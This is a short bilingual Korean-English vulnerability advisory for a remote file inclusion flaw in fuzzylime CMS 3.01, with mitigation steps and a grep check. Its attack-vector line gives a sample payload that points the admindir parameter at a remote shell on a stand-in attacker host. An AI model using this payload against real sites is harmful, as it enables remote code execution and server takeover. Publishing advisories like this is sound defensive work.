🇰🇷 한글 설명
fuzzylime CMS 3.01의 code/display.php에 존재하는 원격 파일 포함(RFI) 취약점으로, admindir 매개변수에 대한 입력 검증 부재로 인해 공격자가 외부 PHP 파일을 포함시켜 임의 코드 실행이 가능합니다. 이는 웹 서버 전체 제어와 데이터 탈취로 이어질 수 있습니다.
💡 쉬운 설명
fuzzylime CMS 관리자 폴더 설정에 결함이 있어 공격자가 악의적인 파일을 원격으로 실행시킬 수 있습니다. 마치 관리자 권한으로 누구나 위험한 코드를 서버에서 실행하도록 할 수 있는 것과 같습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in code/display.php in fuzzylime (cms) 3.01 allows remote attackers to execute arbitrary PHP code via a URL in the admindir parameter.
📍 영향받는 시스템
fuzzylime CMS version 3.01 and earlier
⚔️ 공격 벡터
admindir 파라미터에 원격 PHP 파일 URL을 삽입 예: ?admindir=http://attacker.com/shell.php
🛡️ 대응 방법
fuzzylime CMS를 최신 버전으로 업데이트하거나 admindir 파라미터에 대한 입력 검증 및 로컬 경로만 허용하도록 필터링
🔧 검증 코드
admindir 변수가 include/require 함수에 직접 전달되면 취약점 확인, 경로 검증이 있으면 패치된 상태
grep -n 'admindir' /path/to/cms/code/display.php | head -5